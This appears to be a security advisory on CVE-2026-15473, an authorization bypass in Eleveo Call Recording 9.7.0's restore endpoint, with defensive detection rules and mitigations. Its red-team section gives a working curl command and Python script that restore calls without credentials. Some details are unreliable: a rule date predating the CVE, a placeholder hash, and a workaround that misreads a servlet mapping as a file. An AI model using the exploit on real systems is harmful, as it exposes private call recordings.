CVE-2026-15473

Executive Summary

CVE-2026-15473 is an improper authorization vulnerability in Eleveo Call Recording Software version 9.7.0. The flaw exists in the /callrec/restoreCallAction.do endpoint, allowing an unauthenticated remote attacker to bypass authorization checks and potentially restore or access recorded calls without proper credentials. The exploit is publicly available, and the vendor has not responded to disclosure attempts. With a CVSS score of 6.3 (Medium), this vulnerability poses a significant risk to confidentiality, integrity, and availability of call recording data.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited data modification possible.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. The public availability of exploit code and lack of vendor response elevate the risk, especially for organizations handling sensitive call recordings.

Deep Dive & Mechanics

The vulnerability resides in the restoreCallAction.do servlet, which is part of the Recorded Calls Page component. The endpoint likely handles requests to restore deleted or archived call recordings. Due to improper authorization checks, the servlet does not validate whether the requesting user has the necessary permissions to perform restore operations. An attacker can craft a direct HTTP request to this endpoint, bypassing any authentication or role-based access controls.

The attack flow:

1. Attacker identifies a target running Eleveo Call Recording Software 9.7.0.
2. Attacker sends a crafted POST or GET request to /callrec/restoreCallAction.do with parameters such as callId or recordingId.
3. The server processes the request without verifying the user's identity or permissions, restoring the specified recording.
4. The attacker can then access the restored recording, potentially exfiltrating sensitive call data.

The lack of input validation or session checks on this endpoint is the root cause. The vendor's failure to respond suggests no patch is forthcoming, leaving all installations of version 9.7.0 vulnerable.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical secure implementation would include:

Vulnerable Code (Conceptual):

// No authorization check
public void doPost(HttpServletRequest request, HttpServletResponse response) {
    String callId = request.getParameter("callId");
    restoreCall(callId);
    response.sendRedirect("/callrec/listCalls.do");
}

Patched Code (Conceptual):

public void doPost(HttpServletRequest request, HttpServletResponse response) {
    // Authorization check
    User user = getAuthenticatedUser(request);
    if (user == null || !user.hasRole("admin")) {
        response.sendError(HttpServletResponse.SC_FORBIDDEN);
        return;
    }
    String callId = request.getParameter("callId");
    restoreCall(callId);
    response.sendRedirect("/callrec/listCalls.do");
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Eleveo Call Recording Software 9.7.0.
• Network access to the /callrec/restoreCallAction.do endpoint.

Exploit Steps:

1. Identify the target IP and port (default HTTP/HTTPS).
2. Send a crafted request to restore a call:

   curl -X POST "http://target/callrec/restoreCallAction.do" \
        -d "callId=12345" \
        -H "Content-Type: application/x-www-form-urlencoded"
   

3. Verify the call is restored by accessing the call list or directly retrieving the recording.

Automated Exploit (Python):

import requests

target = "http://target/callrec/restoreCallAction.do"
payload = {"callId": "12345"}
response = requests.post(target, data=payload)
if response.status_code == 200:
    print("Call restored successfully")
else:
    print("Exploit failed")

Blue Team

Detection:

• Monitor for unusual POST requests to /callrec/restoreCallAction.do without prior authentication.
• Alert on multiple restore attempts in a short time window.
• Check logs for callId parameters that do not correspond to known user sessions.

Mitigation:

• Implement a Web Application Firewall (WAF) rule to block requests to /callrec/restoreCallAction.do from unauthenticated sources.
• Restrict network access to the Eleveo application to trusted IP ranges.
• Apply virtual patching by modifying the application's access control configuration if possible.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /callrec/restoreCallAction.do with callId parameter.
  • Unusual outbound data transfers from the Eleveo server (potential exfiltration of restored recordings).
• File System:
  • Unexpected restoration of deleted call recording files in the storage directory.
• Logs:
  • Application logs showing restoreCallAction.do accessed without a valid session token.
  • Web server logs with 200 responses to /callrec/restoreCallAction.do from unknown IPs.

Detection Engineering

YARA Rule

rule detect_eleveo_restorecall_exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2026-15473 in Eleveo Call Recording"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "/callrec/restoreCallAction.do" ascii wide nocase
        $s2 = "callId=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Eleveo Call Recording Unauthorized Restore Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to the vulnerable restoreCallAction.do endpoint without prior authentication.
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/callrec/restoreCallAction.do'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare if properly authenticated)
level: high

Suricata Rule

alert http any any -> any any (msg:"Eleveo Call Recording Unauthorized Restore Attempt"; flow:to_server; content:"POST"; http_method; content:"/callrec/restoreCallAction.do"; http_uri; content:"callId="; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Eleveo server from untrusted networks (e.g., place behind a VPN or firewall).
2. Implement WAF rules to block requests to /callrec/restoreCallAction.do from unauthenticated sources.
3. Monitor logs for exploitation attempts and respond accordingly.

Long-term Actions:

1. Contact Eleveo for an official patch or upgrade to a newer version.
2. Consider migrating to an alternative call recording solution if vendor support is insufficient.
3. Conduct a security audit of the entire Eleveo deployment to identify other potential vulnerabilities.

Workaround:

• If possible, disable the restore functionality by removing or renaming the restoreCallAction.do file in the web application directory (e.g., webapps/callrec/WEB-INF/classes/).

Valters IT